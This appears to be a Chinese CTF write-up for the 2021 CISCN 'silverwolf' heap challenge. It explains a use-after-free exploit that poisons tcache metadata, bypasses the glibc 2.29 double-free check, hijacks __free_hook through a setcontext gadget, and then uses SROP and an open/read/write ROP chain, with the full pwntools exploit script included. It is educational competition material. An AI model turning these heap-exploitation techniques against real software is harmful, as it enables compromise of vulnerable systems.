2021 ciscn 线上 pwn silverwolf

在这里插入图片描述
显然是全绿。

add
在这里插入图片描述只能控制一个chunk,size也有限制。

edit
在这里插入图片描述以回车结束。
这里有一个off by null。

show
在这里插入图片描述就输出。

free
在这里插入图片描述
有个uaf。

其实比起lonelywolf来说就是开了个沙箱。

整个看下来,那个index就是那种逗你玩那种。
然后libc当时给的是2.27,但是做半天发现是最新的2.27……里面更新了对那些tcache链表的那些检查,就挺离谱的,所以可以当成2.29来做。

那想想怎么来利用那个uaf。
uaf,在得到libc的条件下,我们可以直接攻击free_hook,来getshell。
但问题就是怎么来得到libc的地址。

现在的情况是有输出函数,但是chunk的大小收到了限制。
我们只能去攻击tcache头
也就是
在这里插入图片描述也就是tcache_perthread_struct,我们直接先攻击他,然后对他进行污染,也就是把counts数组中对0x250chunk的count改的比较大,因为tcache头大小就是0x250.
然后直接free掉,就可以泄露libc地址。

那么问题来了,我们还是要去用double free的,因为它只能利用一个chunk。

libc是2.29,我们还要去做一下bypass。

libc2.29是怎样去限制double free的,他会在bk的位置去加一个key值,free的时候如果这个地方是这个值,就会检查链表中是否已经有了这个chunk。这个值是个啥?

在这里插入图片描述
也就是我们的tcache头的内容部分的地址。
我们只要把他改掉就好了,那么我们的思路就非常清晰了。

绕过libc2.29对double free的检查,对tcache头进行污染,然后泄露libc地址,攻击free_hook就可以了。

要注意一个小细节,在我们攻击tcache头的时候,一定要保证链表空空,不然会导致链表中出现tcacahe fd的值,导致一会malloc错误。

在这里插入图片描述按照题目环境2.27,应该是攻击free_hook,把它的值改成set_context+53
但是因为我这里用的是2.29,set_context变成了rdx寻址,所以把free_hook改成这样的一段gadget。

mov rdx, qword ptr [rdi + 8]; 
mov qword ptr [rsp], rax; 
call qword ptr [rdx + 0x20];

然后在要free的 [chunkptr+8]+0x20 的位置填上 setcontext+61。

这个gadget通过

ropper --file libc.so.6 --search “mov rdx”

来找
在这里插入图片描述

原理是
free()的参数是rdi,通过gadget的转换,现在rdx是[rdi+8],我们可以控制这个地址,然后rdx+20的地方开始跑setcontext。然后就可以根据rdx来控制各种寄存器。

setcontext是个啥,大家应该还记得SROP,SROP用来恢复栈环境的时候用的就是setcontext,所以我们可以在写的时候直接用pwntools的模板。

然后我们就布置rop,把rop读到bss上,然后跳过去执行一下就好了。

然后需要找个地方布置srop。
一个chunk最大只有0x78,地方不大够,需要两个。

最后的效果。
free的时候首先跳到gadget。
在这里插入图片描述
然后我的setcontext+53就写在freechunk的前八个字节,通过把free的chunk的+0x8 写成了写着setcontext+53的地方的地址减去0x20,然后就做到跳了过去。

在这里插入图片描述
然后就是一个srop的过程。

然后读入rop,跳过去就行

exp

# -*- coding: utf-8 -*-
from pwn import*

context.log_level = "debug"
context.arch = "amd64"
context.os = "linux"

r = process("./silverwolf")

libc = ELF("/home/wuangwuang/glibc-all-in-one-master/glibc-all-in-one-master/libs/2.29-0ubuntu2_amd64/libc.so.6")

def allocate(size):
    r.sendlineafter("Your choice: ", "1")
    r.sendlineafter("Index: ", "0")
    r.sendlineafter("Size: ", str(size))

def edit(content):
    r.sendlineafter("Your choice: ", "2")
    r.sendlineafter("Index: ", "0")
    r.sendlineafter("Content: ", content)

def show():
    r.sendlineafter("Your choice: ", "3")
    r.sendlineafter("Index: ", "0")

def delete():
    r.sendlineafter("Your choice: ", "4")
    r.sendlineafter("Index: ", "0")

for i in range(12):
    allocate(0x10)
allocate(0x50)
for i in range(11):
    allocate(0x60)
for i in range(7):
    allocate(0x70)
#清空tcache bin

allocate(0x78)
delete()
edit('a' * 0x10)
delete()
allocate(0x78) #为了让链表清空,防止一会malloc出错
show()
r.recvuntil("Content: ")
heap_addr = u64(r.recv(6) + '\x00\x00') & 0xfffffffffffff000 - 0x1000
print "heap_addr = " + hex(heap_addr)

edit(p64(heap_addr+0x10))
allocate(0x78)
allocate(0x78)

edit('a' * 64)
delete()

show()
malloc_hook = (u64(r.recvuntil('\x7f')[-6:].ljust(8, "\x00")) & 0xFFFFFFFFFFFFF000) + (libc.sym['__malloc_hook'] & 0xFFF)
libc_base = malloc_hook - libc.sym['__malloc_hook']
free_hook = libc_base + libc.sym["__free_hook"]
setcontext = libc_base + libc.symbols['setcontext']
print "libc_base = " + hex(libc_base)

#-----------------清空unsorted bin------------------
allocate(0x78)
allocate(0x78)
allocate(0x78)
allocate(0x78)
allocate(0x40)

#-------------------堆SROP---------------------------
magic_gadget = libc_base + 0x150550
bss_addr = libc_base + libc.bss()
flag_addr = bss_addr + 0x200

frame = SigreturnFrame()
frame.rsp = bss_addr + 0x8
frame.rdi = 0
frame.rsi = bss_addr
frame.rdx = 0x1000
frame.rip = libc_base + libc.sym['read']

str_frame = str(frame)
print str_frame

pop_rdi = libc_base + 0x26542
pop_rdx_rsi = libc_base + 0x12bdc9
read_addr = libc_base + libc.sym['read']
write_addr = libc_base + libc.sym['write']
open_addr = libc_base + libc.sym['open']
pop_rax = libc_base + 0x47cf8
syscall_addr = libc_base + libc.sym['syscall'] + 23
#这里如果直接用syscall会被前面那一堆乱七八糟把参数改掉,所以要直接用syscall

poc = './flag\x00\x00'

poc += p64(pop_rdi)
poc += p64(bss_addr)
poc += p64(pop_rdx_rsi)
poc += p64(0)
poc += p64(0)
poc += p64(pop_rax)
poc += p64(constants.SYS_open)
poc += p64(syscall_addr)

poc += p64(pop_rdi)
poc += p64(0x3)
poc += p64(pop_rdx_rsi)
poc += p64(0x100)
poc += p64(flag_addr)
poc += p64(read_addr)

poc += p64(pop_rdi)
poc += p64(1)
poc += p64(pop_rdx_rsi)
poc += p64(100)
poc += p64(flag_addr)
poc += p64(write_addr)


allocate(0x58)
delete()
#为一会写frame做准备

allocate(0x78)
delete()
edit(p64(free_hook))
allocate(0x78)
edit(str_frame[0x80:0xf8])
allocate(0x78)
edit(p64(magic_gadget))

allocate(0x58)
edit(p64(setcontext + 53)  + p64(heap_addr + 0x1430) + str_frame[0x30:0x78])
#gdb.attach(r)
#pause()

delete()

r.sendline(poc)

r.interactive()
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值